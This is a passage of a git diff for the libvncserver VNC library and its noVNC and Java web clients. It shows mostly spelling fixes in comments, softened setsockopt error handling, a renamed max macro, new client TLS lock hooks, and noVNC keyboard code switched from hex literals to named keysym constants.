+ /* fixme: endianness problem? */
for (z = 0; z < bytesPerPixel; z++)
pixel_value += (srcptr2[z] << (8 * z));
break;
@@ -240,7 +240,7 @@ void rfbScaledScreenUpdateRect(rfbScreenInfoPtr screen, rfbScreenInfoPtr ptr, in
case 2: *((unsigned short *)dstptr) = (unsigned short) pixel_value; break;
case 1: *((unsigned char *)dstptr) = (unsigned char) pixel_value; break;
default:
- /* fixme: endianess problem? */
+ /* fixme: endianness problem? */
for (z = 0; z < bytesPerPixel; z++)
dstptr[z]=(pixel_value >> (8 * z)) & 0xff;
break;
diff --git a/libvncserver/sockets.c b/libvncserver/sockets.c
index 2bb655e..51e86eb 100644
--- a/libvncserver/sockets.c
+++ b/libvncserver/sockets.c
@@ -146,8 +146,7 @@ rfbInitSockets(rfbScreenInfoPtr rfbScreen)
if (setsockopt(rfbScreen->inetdSock, IPPROTO_TCP, TCP_NODELAY,
(char *)&one, sizeof(one)) < 0) {
- rfbLogPerror("setsockopt");
- return;
+ rfbLogPerror("setsockopt failed: can't set TCP_NODELAY flag, non TCP socket?");
}
FD_ZERO(&(rfbScreen->allFds));
@@ -193,7 +192,7 @@ rfbInitSockets(rfbScreenInfoPtr rfbScreen)
rfbLog("Autoprobing selected TCP6 port %d\n", rfbScreen->ipv6port);
FD_SET(rfbScreen->listen6Sock, &(rfbScreen->allFds));
- rfbScreen->maxFd = max((int)rfbScreen->listen6Sock,rfbScreen->maxFd);
+ rfbScreen->maxFd = rfbMax((int)rfbScreen->listen6Sock,rfbScreen->maxFd);
#endif
}
else
@@ -220,7 +219,7 @@ rfbInitSockets(rfbScreenInfoPtr rfbScreen)
rfbLog("Listening for VNC connections on TCP6 port %d\n", rfbScreen->ipv6port);
FD_SET(rfbScreen->listen6Sock, &(rfbScreen->allFds));
- rfbScreen->maxFd = max((int)rfbScreen->listen6Sock,rfbScreen->maxFd);
+ rfbScreen->maxFd = rfbMax((int)rfbScreen->listen6Sock,rfbScreen->maxFd);
}
#endif
@@ -236,7 +235,7 @@ rfbInitSockets(rfbScreenInfoPtr rfbScreen)
rfbLog("Listening for VNC connections on TCP port %d\n", rfbScreen->port);
FD_SET(rfbScreen->udpSock, &(rfbScreen->allFds));
- rfbScreen->maxFd = max((int)rfbScreen->udpSock,rfbScreen->maxFd);
+ rfbScreen->maxFd = rfbMax((int)rfbScreen->udpSock,rfbScreen->maxFd);
}
}
@@ -395,7 +394,7 @@ rfbCheckFds(rfbScreenInfoPtr rfbScreen,long usec)
#ifdef LIBVNCSERVER_WITH_WEBSOCKETS
do {
rfbProcessClientMessage(cl);
- } while (webSocketsHasDataInBuffer(cl));
+ } while (cl->sock > 0 && webSocketsHasDataInBuffer(cl));
#else
rfbProcessClientMessage(cl);
#endif
@@ -453,9 +452,7 @@ rfbProcessNewConnection(rfbScreenInfoPtr rfbScreen)
if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY,
(char *)&one, sizeof(one)) < 0) {
- rfbLogPerror("rfbCheckFds: setsockopt");
- closesocket(sock);
- return FALSE;
+ rfbLogPerror("rfbCheckFds: setsockopt failed: can't set TCP_NODELAY flag, non TCP socket?");
}
#ifdef USE_LIBWRAP
@@ -556,14 +553,12 @@ rfbConnect(rfbScreenInfoPtr rfbScreen,
if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY,
(char *)&one, sizeof(one)) < 0) {
- rfbLogPerror("setsockopt failed");
- closesocket(sock);
- return -1;
+ rfbLogPerror("setsockopt failed: can't set TCP_NODELAY flag, non TCP socket?");
}
/* AddEnabledDevice(sock); */
FD_SET(sock, &rfbScreen->allFds);
- rfbScreen->maxFd = max(sock,rfbScreen->maxFd);
+ rfbScreen->maxFd = rfbMax(sock,rfbScreen->maxFd);
return sock;
}
@@ -925,7 +920,7 @@ rfbListenOnTCP6Port(int port,
}
#ifdef IPV6_V6ONLY
- /* we have seperate IPv4 and IPv6 sockets since some OS's do not support dual binding */
+ /* we have separate IPv4 and IPv6 sockets since some OS's do not support dual binding */
if (setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, (char *)&one, sizeof(one)) < 0) {
rfbLogPerror("rfbListenOnTCP6Port error in setsockopt IPV6_V6ONLY");
closesocket(sock);
diff --git a/libvncserver/tight.c b/libvncserver/tight.c
index 89a7f25..bca374d 100644
--- a/libvncserver/tight.c
+++ b/libvncserver/tight.c
@@ -563,7 +563,7 @@ ExtendSolidArea(rfbClientPtr cl,
/*
* Check if a rectangle is all of the same color. If needSameColor is
* set to non-zero, then also check that its color equals to the
- * *colorPtr value. The result is 1 if the test is successfull, and in
+ * *colorPtr value. The result is 1 if the test is successful, and in
* that case new color will be stored in *colorPtr.
*/
diff --git a/libvncserver/tightvnc-filetransfer/filetransfermsg.c b/libvncserver/tightvnc-filetransfer/filetransfermsg.c
index 88fbe9a..153f123 100644
--- a/libvncserver/tightvnc-filetransfer/filetransfermsg.c
+++ b/libvncserver/tightvnc-filetransfer/filetransfermsg.c
@@ -108,8 +108,8 @@ GetFileListResponseMsg(char* path, char flags)
/* fileListInfo can have null data if the folder is Empty
- or if some error condition has occured.
- The return value is 'failure' only if some error condition has occured.
+ or if some error condition has occurred.
+ The return value is 'failure' only if some error condition has occurred.
*/
status = CreateFileListInfo(&fileListInfo, path, !(flags & 0x10));
diff --git a/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c b/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c
index 431912e..b235fa0 100644
--- a/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c
+++ b/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c
@@ -703,7 +703,7 @@ HandleFileUploadLengthError(rfbClientPtr cl, short fNameSize)
return;
}
- rfbLog("File [%s]: Method [%s]: File Upload Length Error occured"
+ rfbLog("File [%s]: Method [%s]: File Upload Length Error occurred"
"file path requested is <%s>\n", __FILE__, __FUNCTION__, path);
if(path != NULL) {
diff --git a/libvncserver/tightvnc-filetransfer/rfbtightproto.h b/libvncserver/tightvnc-filetransfer/rfbtightproto.h
index ef683ae..d0fe642 100644
--- a/libvncserver/tightvnc-filetransfer/rfbtightproto.h
+++ b/libvncserver/tightvnc-filetransfer/rfbtightproto.h
@@ -208,7 +208,7 @@ void rfbHandleSecTypeTight(rfbClientPtr cl);
* In the protocol version 3.7t, the server informs the client what message
* types it supports in addition to ones defined in the protocol version 3.7.
* Also, the server sends the list of all supported encodings (note that it's
- * not necessary to advertise the "raw" encoding sinse it MUST be supported in
+ * not necessary to advertise the "raw" encoding since it MUST be supported in
* RFB 3.x protocols).
*
* This data immediately follows the server initialisation message.
diff --git a/libvncserver/tightvnc-filetransfer/rfbtightserver.c b/libvncserver/tightvnc-filetransfer/rfbtightserver.c
index d43d3f3..67d4cb5 100644
--- a/libvncserver/tightvnc-filetransfer/rfbtightserver.c
+++ b/libvncserver/tightvnc-filetransfer/rfbtightserver.c
@@ -500,7 +500,7 @@ rfbHandleSecTypeTight(rfbClientPtr cl) {
if(rtcp == NULL) {
/* Error condition close socket */
- rfbLog("Memory error has occured while handling "
+ rfbLog("Memory error has occurred while handling "
"Tight security type... closing connection.\n");
rfbCloseClient(cl);
return;
diff --git a/libvncserver/ultra.c b/libvncserver/ultra.c
index 9485591..83bddaa 100644
--- a/libvncserver/ultra.c
+++ b/libvncserver/ultra.c
@@ -201,7 +201,7 @@ rfbSendRectEncodingUltra(rfbClientPtr cl,
return FALSE;
}
- /* Technically, flushing the buffer here is not extrememly
+ /* Technically, flushing the buffer here is not extremely
* efficient. However, this improves the overall throughput
* of the system over very slow networks. By flushing
* the buffer with every maximum size lzo rectangle, we
diff --git a/libvncserver/zlib.c b/libvncserver/zlib.c
index ac20c9c..45a1314 100644
--- a/libvncserver/zlib.c
+++ b/libvncserver/zlib.c
@@ -300,7 +300,7 @@ rfbSendRectEncodingZlib(rfbClientPtr cl,
return FALSE;
}
- /* Technically, flushing the buffer here is not extrememly
+ /* Technically, flushing the buffer here is not extremely
* efficient. However, this improves the overall throughput
* of the system over very slow networks. By flushing
* the buffer with every maximum size zlib rectangle, we
diff --git a/rfb/keysym.h b/rfb/keysym.h
index 219f95b..92d5158 100644
--- a/rfb/keysym.h
+++ b/rfb/keysym.h
@@ -162,7 +162,7 @@ SOFTWARE.
#define XK_Zen_Koho 0xFF3D /* Multiple/All Candidate(s) */
#define XK_Mae_Koho 0xFF3E /* Previous Candidate */
-/* 0xFF31 thru 0xFF3F are under XK_KOREAN */
+/* 0xFF31 through 0xFF3F are under XK_KOREAN */
/* Cursor control & motion */
@@ -240,7 +240,7 @@ SOFTWARE.
/*
- * Auxilliary Functions; note the duplicate definitions for left and right
+ * Auxiliary Functions; note the duplicate definitions for left and right
* function keys; Sun keyboards and a few other manufactures have such
* function key groups on the left and/or right sides of the keyboard.
* We've not found a keyboard with more than 35 function keys total.
diff --git a/rfb/rfb.h b/rfb/rfb.h
index c8c247a..c6edc11 100644
--- a/rfb/rfb.h
+++ b/rfb/rfb.h
@@ -477,7 +477,7 @@ typedef struct _rfbClientRec {
authentication. If the right conditions are met this state will be
set (see the auth.c file) when rfbProcessClientInitMessage is called.
- If the state is RFB_INITIALISATION_SHARED we should not expect to recieve
+ If the state is RFB_INITIALISATION_SHARED we should not expect to receive
any ClientInit message, but instead should proceed to the next stage
of initialisation as though an implicit ClientInit message was received
with a shared-flag of true. (There is currently no corresponding
@@ -1253,14 +1253,14 @@ rfbBool rfbUpdateClient(rfbClientPtr cl);
Try example.c: it outputs on which port it listens (default: 5900), so it is
display 0. To view, call @code vncviewer :0 @endcode
You should see a sheet with a gradient and "Hello World!" written on it. Try
- to paint something. Note that everytime you click, there is some bigger blot,
+ to paint something. Note that every time you click, there is some bigger blot,
whereas when you drag the mouse while clicked you draw a line. The size of the
blot depends on the mouse button you click. Open a second vncviewer with
the same parameters and watch it as you paint in the other window. This also
works over internet. You just have to know either the name or the IP of your
machine. Then it is @code vncviewer machine.where.example.runs.com:0 @endcode
or similar for the remote client. Now you are ready to type something. Be sure
- that your mouse sits still, because everytime the mouse moves, the cursor is
+ that your mouse sits still, because every time the mouse moves, the cursor is
reset to the position of the pointer! If you are done with that demo, press
the down or up arrows. If your viewer supports it, then the dimensions of the
sheet change. Just press Escape in the viewer. Note that the server still
diff --git a/rfb/rfbclient.h b/rfb/rfbclient.h
index e210a41..37c47e4 100644
--- a/rfb/rfbclient.h
+++ b/rfb/rfbclient.h
@@ -173,9 +173,17 @@ typedef rfbCredential* (*GetCredentialProc)(struct _rfbClient* client, int crede
typedef rfbBool (*MallocFrameBufferProc)(struct _rfbClient* client);
typedef void (*GotXCutTextProc)(struct _rfbClient* client, const char *text, int textlen);
typedef void (*BellProc)(struct _rfbClient* client);
-
+/**
+ Called when a cursor shape update was received from the server. The decoded cursor shape
+ will be in client->rcSource. It's up to the application to do something with this, e.g. draw
+ into a viewer's window. If you want the server to draw the cursor into the framebuffer, be
+ careful not to announce remote cursor support, i.e. not include rfbEncodingXCursor or
+ rfbEncodingRichCursor in SetFormatAndEncodings().
+*/
typedef void (*GotCursorShapeProc)(struct _rfbClient* client, int xhot, int yhot, int width, int height, int bytesPerPixel);
typedef void (*GotCopyRectProc)(struct _rfbClient* client, int src_x, int src_y, int w, int h, int dest_x, int dest_y);
+typedef rfbBool (*LockWriteToTLSProc)(struct _rfbClient* client);
+typedef rfbBool (*UnlockWriteToTLSProc)(struct _rfbClient* client);
typedef struct _rfbClient {
uint8_t* frameBuffer;
@@ -270,6 +278,7 @@ typedef struct _rfbClient {
/* cursor.c */
+ /** Holds cursor shape data when received from server. */
uint8_t *rcSource, *rcMask;
/** private data pointer */
@@ -354,10 +363,19 @@ typedef struct _rfbClient {
/* Output Window ID. When set, client application enables libvncclient to perform direct rendering in its window */
unsigned long outputWindow;
+ /** Hooks for optional protection WriteToTLS() by mutex */
+ LockWriteToTLSProc LockWriteToTLS;
+ UnlockWriteToTLSProc UnlockWriteToTLS;
+
} rfbClient;
/* cursor.c */
-
+/**
+ * Handles XCursor and RichCursor shape updates from the server.
+ * We emulate cursor operating on the frame buffer (that is
+ * why we call it "software cursor"). This decodes the received cursor
+ * shape and hands it over to GotCursorShapeProc, if set.
+ */
extern rfbBool HandleCursorShape(rfbClient* client,int xhot, int yhot, int width, int height, uint32_t enc);
/* listen.c */
diff --git a/rfb/rfbconfig.h.cmake b/rfb/rfbconfig.h.cmake
index 3e3155b..5bd6569 100644
--- a/rfb/rfbconfig.h.cmake
+++ b/rfb/rfbconfig.h.cmake
@@ -54,6 +54,27 @@
/* Define to 1 if you have the <unistd.h> header file. */
#cmakedefine LIBVNCSERVER_HAVE_UNISTD_H 1
+/* Define to 1 if you have the `vfork' function. */
+#cmakedefine LIBVNCSERVER_HAVE_VFORK 1
+
+/* Define to 1 if you have the <vfork.h> header file. */
+#cmakedefine LIBVNCSERVER_HAVE_VFORK_H 1
+
+/* Define to 1 if you have the `vprintf' function. */
+#cmakedefine LIBVNCSERVER_HAVE_VPRINTF 1
+
+/* Define to 1 if `fork' works. */
+#cmakedefine LIBVNCSERVER_HAVE_WORKING_FORK 1
+
+/* Define to 1 if `vfork' works. */
+#cmakedefine LIBVNCSERVER_HAVE_WORKING_VFORK 1
+
+/* Define to 1 if you have the <ws2tcpip.h> header file. */
+#cmakedefine LIBVNCSERVER_HAVE_WS2TCPIP_H 1
+
+/* Enable IPv6 support */
+#cmakedefine LIBVNCSERVER_IPv6 1
+
/* Need a typedef for in_addr_t */
#cmakedefine LIBVNCSERVER_NEED_INADDR_T 1
diff --git a/rfb/rfbproto.h b/rfb/rfbproto.h
index 354f1aa..ba643b1 100644
--- a/rfb/rfbproto.h
+++ b/rfb/rfbproto.h
@@ -60,6 +60,7 @@
* messages have to be explained by comments.
*/
+#include <stdint.h>
#if defined(WIN32) && !defined(__MINGW32__)
#define LIBVNCSERVER_WORDS_BIGENDIAN
@@ -80,19 +81,20 @@
#endif
#endif
+#if LIBVNCSERVER_HAVE_ENDIAN_H
# include <endian.h>
# if __BYTE_ORDER == __BIG_ENDIAN
-# define LIBVBNCSERVER_WORDS_BIGENDIAN 1
+# define LIBVNCSERVER_WORDS_BIGENDIAN 1
# endif
-
+#endif
/* MS compilers don't have strncasecmp */
#ifdef _MSC_VER
#define strncasecmp _strnicmp
#endif
+#define rfbMax(a,b) (((a)>(b))?(a):(b))
#if !defined(WIN32) || defined(__MINGW32__)
-#define max(a,b) (((a)>(b))?(a):(b))
#ifdef LIBVNCSERVER_HAVE_SYS_TIME_H
#include <sys/time.h>
#endif
@@ -107,8 +109,6 @@ typedef int8_t rfbBool;
#define TRUE -1
#endif
-#include <stdint.h>
-
typedef uint32_t rfbKeySym;
typedef uint32_t rfbPixel;
@@ -120,7 +120,7 @@ typedef uint32_t in_addr_t;
#define INADDR_NONE ((in_addr_t) 0xffffffff)
#endif
-#define MAX_ENCODINGS 21
+#define MAX_ENCODINGS 64
/*****************************************************************************
*
@@ -1066,7 +1066,7 @@ typedef struct _rfbFileTransferMsg {
#define rfbRErrorCmd 0xFFFFFFFF/* Error when a command fails on remote side (ret in "size" field) */
#define sz_rfbBlockSize 8192 /* Size of a File Transfer packet (before compression) */
-#define rfbZipDirectoryPrefix "!UVNCDIR-\0" /* Transfered directory are zipped in a file with this prefix. Must end with "-" */
+#define rfbZipDirectoryPrefix "!UVNCDIR-\0" /* Transferred directory are zipped in a file with this prefix. Must end with "-" */
#define sz_rfbZipDirectoryPrefix 9
#define rfbDirPrefix "[ "
#define rfbDirSuffix " ]"
diff --git a/webclients/java-applet/ssl/README b/webclients/java-applet/ssl/README
index b244cf1..f5a2b66 100644
--- a/webclients/java-applet/ssl/README
+++ b/webclients/java-applet/ssl/README
@@ -42,9 +42,9 @@ Send full Java Console output for failures.
Tips:
When doing single-port proxy connections (e.g. both VNC and HTTPS
-thru port 5900) it helps to move through the 'do you trust this site'
+through port 5900) it helps to move through the 'do you trust this site'
dialogs quickly. x11vnc has to wait to see if the traffic is VNC or
-HTTP and this can cause timeouts if you don't move thru them quickly.
+HTTP and this can cause timeouts if you don't move through them quickly.
You may have to restart your browser completely if it gets into a
weird state. For one case we saw the JVM requesting VncViewer.class
@@ -172,7 +172,7 @@ Both TightVNC and UltraVNC Java viewers:
Set to do a special HTTP GET (/request.https.vnc.connection)
to the vnc server that will cause it to switch to VNC instead.
This is to speedup/make more robust, the single port HTTPS and VNC
- mode of x11vnc (e.g. both services thru port 5900, etc)
+ mode of x11vnc (e.g. both services through port 5900, etc)
urlPrefix
string, default: none
diff --git a/webclients/java-applet/ssl/proxy.vnc b/webclients/java-applet/ssl/proxy.vnc
index 6d3ab3d..0684200 100644
--- a/webclients/java-applet/ssl/proxy.vnc
+++ b/webclients/java-applet/ssl/proxy.vnc
@@ -25,7 +25,7 @@ fails in the proxy environment.
The applet is not allowed to open a socket connection to the proxy (since
that would let it connect to just about any host, e.g. CONNECT method).
-This is indpendent of SSL but of course fails for that socket connection
+This is independent of SSL but of course fails for that socket connection
as well. I.e. this is a problem for non-SSL VNC Viewers as well.
Solution? Sign the applet and have the user click on "Yes" that they
diff --git a/webclients/java-applet/ssl/ss_vncviewer b/webclients/java-applet/ssl/ss_vncviewer
index 7e793ff..b996600 100755
--- a/webclients/java-applet/ssl/ss_vncviewer
+++ b/webclients/java-applet/ssl/ss_vncviewer
@@ -91,7 +91,7 @@
#
# [user1@]host1[:port1],[user2@]host2[:port2]
#
-# in which case a ssh to host1 and thru it via a -L redir a 2nd
+# in which case a ssh to host1 and through it via a -L redir a 2nd
# ssh is established to host2.
#
# Examples:
@@ -109,10 +109,10 @@
#
# -sshargs "args" pass "args" to the ssh process, e.g. -L/-R port redirs.
#
-# -sshssl Tunnel the SSL connection thru a SSH connection. The tunnel as
-# under -ssh is set up and the SSL connection goes thru it. Use
+# -sshssl Tunnel the SSL connection through a SSH connection. The tunnel as
+# under -ssh is set up and the SSL connection goes through it. Use
# this if you want to have and end-to-end SSL connection but must
-# go thru a SSH gateway host (e.g. not the vnc server). Or use
+# go through a SSH gateway host (e.g. not the vnc server). Or use
# this if you need to tunnel additional services via -R and -L
# (see -sshargs above).
#
@@ -351,7 +351,7 @@ if [ "X$SKIP_STUNNEL_NO_SYSLOG" = "X" ]; then
STUNNEL_NO_SYSLOG=1; export STUNNEL_NO_SYSLOG
fi
-# this is the -t ssh option (gives better keyboard response thru SSH tunnel)
+# this is the -t ssh option (gives better keyboard response through SSH tunnel)
targ="-t"
if [ "X$SS_VNCVIEWER_NO_T" != "X" ]; then
targ=""
diff --git a/webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch b/webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch
index 3309860..3f3b9a0 100644
--- a/webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch
+++ b/webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch
@@ -978,7 +978,7 @@ diff -Naur JavaViewer.orig/FTPFrame.java JavaViewer/FTPFrame.java
+ }
+ String sFileName = ((String) selected);
- // sf@2004 - Directory can't be transfered
+ // sf@2004 - Directory can't be transferred
if (sFileName.substring(0, 2).equals(" [") && sFileName.substring((sFileName.length() - 1), sFileName.length()).equals("]"))
{
- JOptionPane.showMessageDialog(null, (String)"Directory Transfer is not yet available in this version...", "FileTransfer Info", JOptionPane.INFORMATION_MESSAGE);
@@ -1036,7 +1036,7 @@ diff -Naur JavaViewer.orig/FTPFrame.java JavaViewer/FTPFrame.java
+ return null;
+ }
+
-+ // sf@2004 - Directory can't be transfered
++ // sf@2004 - Directory can't be transferred
+ if (sFileName.substring(0, 2).equals(" [") && sFileName.substring((sFileName.length() - 1), sFileName.length()).equals("]"))
+ {
+ return null;
@@ -1084,7 +1084,7 @@ diff -Naur JavaViewer.orig/FTPFrame.java JavaViewer/FTPFrame.java
+ }
+ String sFileName = ((String) selected);
- // sf@2004 - Directory can't be transfered
+ // sf@2004 - Directory can't be transferred
if (sFileName.substring(0, 2).equals(" [") && sFileName.substring((sFileName.length() - 1), sFileName.length()).equals("]"))
{
- JOptionPane.showMessageDialog(null, (String)"Directory Transfer is not yet available in this version...", "FileTransfer Info", JOptionPane.INFORMATION_MESSAGE);
diff --git a/webclients/novnc/include/display.js b/webclients/novnc/include/display.js
index 8763fa4..a42b854 100644
--- a/webclients/novnc/include/display.js
+++ b/webclients/novnc/include/display.js
@@ -318,7 +318,7 @@ var Display;
// Clearing the current viewport first fixes the issue
this._drawCtx.clearRect(0, 0, this._viewportLoc.w, this._viewportLoc.h);
}
- this.resize(640, 20);
+ this.resize(240, 20);
this._drawCtx.clearRect(0, 0, this._viewportLoc.w, this._viewportLoc.h);
}
@@ -713,6 +713,12 @@ var Display;
cur.push(rgb[1]); // green
cur.push(rgb[0]); // red
cur.push(alpha); // alpha
+ } else {
+ idx = ((w0 * y) + x) * 4;
+ cur.push(pixels[idx + 2]); // blue
+ cur.push(pixels[idx + 1]); // green
+ cur.push(pixels[idx]); // red
+ cur.push(alpha); // alpha
}
}
}
diff --git a/webclients/novnc/include/keyboard.js b/webclients/novnc/include/keyboard.js
index 6044321..8667031 100644
--- a/webclients/novnc/include/keyboard.js
+++ b/webclients/novnc/include/keyboard.js
@@ -31,7 +31,7 @@ var kbdUtil = (function() {
function hasShortcutModifier(charModifier, currentModifiers) {
var mods = {};
for (var key in currentModifiers) {
- if (parseInt(key) !== 0xffe1) {
+ if (parseInt(key) !== XK_Shift_L) {
mods[key] = currentModifiers[key];
}
}
@@ -65,24 +65,18 @@ var kbdUtil = (function() {
// Helper object tracking modifier key state
// and generates fake key events to compensate if it gets out of sync
function ModifierSync(charModifier) {
- var ctrl = 0xffe3;
- var alt = 0xffe9;
- var altGr = 0xfe03;
- var shift = 0xffe1;
- var meta = 0xffe7;
-
if (!charModifier) {
if (isMac()) {
// on Mac, Option (AKA Alt) is used as a char modifier
- charModifier = [alt];
+ charModifier = [XK_Alt_L];
}
else if (isWindows()) {
// on Windows, Ctrl+Alt is used as a char modifier
- charModifier = [alt, ctrl];
+ charModifier = [XK_Alt_L, XK_Control_L];
}
else if (isLinux()) {
- // on Linux, AltGr is used as a char modifier
- charModifier = [altGr];
+ // on Linux, ISO Level 3 Shift (AltGr) is used as a char modifier
+ charModifier = [XK_ISO_Level3_Shift];
}
else {
charModifier = [];
@@ -90,11 +84,11 @@ var kbdUtil = (function() {
}
var state = {};
- state[ctrl] = false;
- state[alt] = false;
- state[altGr] = false;
- state[shift] = false;
- state[meta] = false;
+ state[XK_Control_L] = false;
+ state[XK_Alt_L] = false;
+ state[XK_ISO_Level3_Shift] = false;
+ state[XK_Shift_L] = false;
+ state[XK_Meta_L] = false;
function sync(evt, keysym) {
var result = [];
@@ -102,25 +96,30 @@ var kbdUtil = (function() {
return {keysym: keysyms.lookup(keysym), type: state[keysym] ? 'keydown' : 'keyup'};
}
- if (evt.ctrlKey !== undefined && evt.ctrlKey !== state[ctrl] && keysym !== ctrl) {
- state[ctrl] = evt.ctrlKey;
- result.push(syncKey(ctrl));
+ if (evt.ctrlKey !== undefined &&
+ evt.ctrlKey !== state[XK_Control_L] && keysym !== XK_Control_L) {
+ state[XK_Control_L] = evt.ctrlKey;
+ result.push(syncKey(XK_Control_L));
}
- if (evt.altKey !== undefined && evt.altKey !== state[alt] && keysym !== alt) {
- state[alt] = evt.altKey;
- result.push(syncKey(alt));
+ if (evt.altKey !== undefined &&
+ evt.altKey !== state[XK_Alt_L] && keysym !== XK_Alt_L) {
+ state[XK_Alt_L] = evt.altKey;
+ result.push(syncKey(XK_Alt_L));
}
- if (evt.altGraphKey !== undefined && evt.altGraphKey !== state[altGr] && keysym !== altGr) {
- state[altGr] = evt.altGraphKey;
- result.push(syncKey(altGr));
+ if (evt.altGraphKey !== undefined &&
+ evt.altGraphKey !== state[XK_ISO_Level3_Shift] && keysym !== XK_ISO_Level3_Shift) {
+ state[XK_ISO_Level3_Shift] = evt.altGraphKey;
+ result.push(syncKey(XK_ISO_Level3_Shift));
}
- if (evt.shiftKey !== undefined && evt.shiftKey !== state[shift] && keysym !== shift) {
- state[shift] = evt.shiftKey;
- result.push(syncKey(shift));
+ if (evt.shiftKey !== undefined &&
+ evt.shiftKey !== state[XK_Shift_L] && keysym !== XK_Shift_L) {
+ state[XK_Shift_L] = evt.shiftKey;
+ result.push(syncKey(XK_Shift_L));
}
- if (evt.metaKey !== undefined && evt.metaKey !== state[meta] && keysym !== meta) {
- state[meta] = evt.metaKey;
- result.push(syncKey(meta));
+ if (evt.metaKey !== undefined &&
+ evt.metaKey !== state[XK_Meta_L] && keysym !== XK_Meta_L) {
+ state[XK_Meta_L] = evt.metaKey;
+ result.push(syncKey(XK_Meta_L));
}
return result;
}
@@ -211,21 +210,21 @@ var kbdUtil = (function() {
return shiftPressed ? keycode : keycode + 32; // A-Z
}
if (keycode >= 0x60 && keycode <= 0x69) {
- return 0xffb0 + (keycode - 0x60); // numpad 0-9
+ return XK_KP_0 + (keycode - 0x60); // numpad 0-9
}
switch(keycode) {
- case 0x20: return 0x20; // space
- case 0x6a: return 0xffaa; // multiply
- case 0x6b: return 0xffab; // add
- case 0x6c: return 0xffac; // separator
- case 0x6d: return 0xffad; // subtract
- case 0x6e: return 0xffae; // decimal
- case 0x6f: return 0xffaf; // divide
- case 0xbb: return 0x2b; // +
- case 0xbc: return 0x2c; // ,
- case 0xbd: return 0x2d; // -
- case 0xbe: return 0x2e; // .
+ case 0x20: return XK_space;
+ case 0x6a: return XK_KP_Multiply;
+ case 0x6b: return XK_KP_Add;
+ case 0x6c: return XK_KP_Separator;
+ case 0x6d: return XK_KP_Subtract;
+ case 0x6e: return XK_KP_Decimal;
+ case 0x6f: return XK_KP_Divide;
+ case 0xbb: return XK_plus;
+ case 0xbc: return XK_comma;
+ case 0xbd: return XK_minus;
+ case 0xbe: return XK_period;
}
return nonCharacterKey({keyCode: keycode});
@@ -239,43 +238,44 @@ var kbdUtil = (function() {
var keycode = evt.keyCode;
if (keycode >= 0x70 && keycode <= 0x87) {
- return 0xffbe + keycode - 0x70; // F1-F24
+ return XK_F1 + keycode - 0x70; // F1-F24
}
switch (keycode) {
- case 8 : return 0xFF08; // BACKSPACE
- case 13 : return 0xFF0D; // ENTER
-
- case 9 : return 0xFF09; // TAB
-
- case 27 : return 0xFF1B; // ESCAPE
- case 46 : return 0xFFFF; // DELETE
-
- case 36 : return 0xFF50; // HOME
- case 35 : return 0xFF57; // END
- case 33 : return 0xFF55; // PAGE_UP
- case 34 : return 0xFF56; // PAGE_DOWN
- case 45 : return 0xFF63; // INSERT
-
- case 37 : return 0xFF51; // LEFT
- case 38 : return 0xFF52; // UP
- case 39 : return 0xFF53; // RIGHT
- case 40 : return 0xFF54; // DOWN
- case 16 : return 0xFFE1; // SHIFT
- case 17 : return 0xFFE3; // CONTROL
- case 18 : return 0xFFE9; // Left ALT (Mac Option)
-
- case 224 : return 0xFE07; // Meta
- case 225 : return 0xFE03; // AltGr
- case 91 : return 0xFFEC; // Super_L (Win Key)
- case 92 : return 0xFFED; // Super_R (Win Key)
- case 93 : return 0xFF67; // Menu (Win Menu), Mac Command
+ case 8 : return XK_BackSpace;
+ case 13 : return XK_Return;
+
+ case 9 : return XK_Tab;
+
+ case 27 : return XK_Escape;
+ case 46 : return XK_Delete;
+
+ case 36 : return XK_Home;
+ case 35 : return XK_End;
+ case 33 : return XK_Page_Up;
+ case 34 : return XK_Page_Down;
+ case 45 : return XK_Insert;
+
+ case 37 : return XK_Left;
+ case 38 : return XK_Up;
+ case 39 : return XK_Right;
+ case 40 : return XK_Down;
+
+ case 16 : return XK_Shift_L;
+ case 17 : return XK_Control_L;
+ case 18 : return XK_Alt_L; // also: Option-key on Mac
+
+ case 224 : return XK_Meta_L;
+ case 225 : return XK_ISO_Level3_Shift; // AltGr
+ case 91 : return XK_Super_L; // also: Windows-key
+ case 92 : return XK_Super_R; // also: Windows-key
+ case 93 : return XK_Menu; // also: Windows-Menu, Command on Mac
default: return null;
}
}
return {
hasShortcutModifier : hasShortcutModifier,
- hasCharModifier : hasCharModifier,
+ hasCharModifier : hasCharModifier,
ModifierSync : ModifierSync,
getKey : getKey,
getKeysym : getKeysym,
diff --git a/webclients/novnc/include/keysym.js b/webclients/novnc/include/keysym.js
index a00d595..2b97198 100644
--- a/webclients/novnc/include/keysym.js
+++ b/webclients/novnc/include/keysym.js
@@ -170,6 +170,8 @@ XK_Super_R = 0xffec, /* Right super */
XK_Hyper_L = 0xffed, /* Left hyper */
XK_Hyper_R = 0xffee, /* Right hyper */
+XK_ISO_Level3_Shift = 0xfe03, /* AltGr */
+
/*
* Latin 1
* (ISO/IEC 8859-1 = Unicode U+0020..U+00FF)
diff --git a/webclients/novnc/include/rfb.js b/webclients/novnc/include/rfb.js
index 0afe656..59fd785 100644
--- a/webclients/novnc/include/rfb.js
+++ b/webclients/novnc/include/rfb.js
@@ -252,12 +252,12 @@ var RFB;
Util.Info("Sending Ctrl-Alt-Del");
var arr = [];
- arr = arr.concat(RFB.messages.keyEvent(0xFFE3, 1)); // Control
- arr = arr.concat(RFB.messages.keyEvent(0xFFE9, 1)); // Alt
- arr = arr.concat(RFB.messages.keyEvent(0xFFFF, 1)); // Delete
- arr = arr.concat(RFB.messages.keyEvent(0xFFFF, 0)); // Delete
- arr = arr.concat(RFB.messages.keyEvent(0xFFE9, 0)); // Alt
- arr = arr.concat(RFB.messages.keyEvent(0xFFE3, 0)); // Control
+ arr = arr.concat(RFB.messages.keyEvent(XK_Control_L, 1));
+ arr = arr.concat(RFB.messages.keyEvent(XK_Alt_L, 1));
+ arr = arr.concat(RFB.messages.keyEvent(XK_Delete, 1));
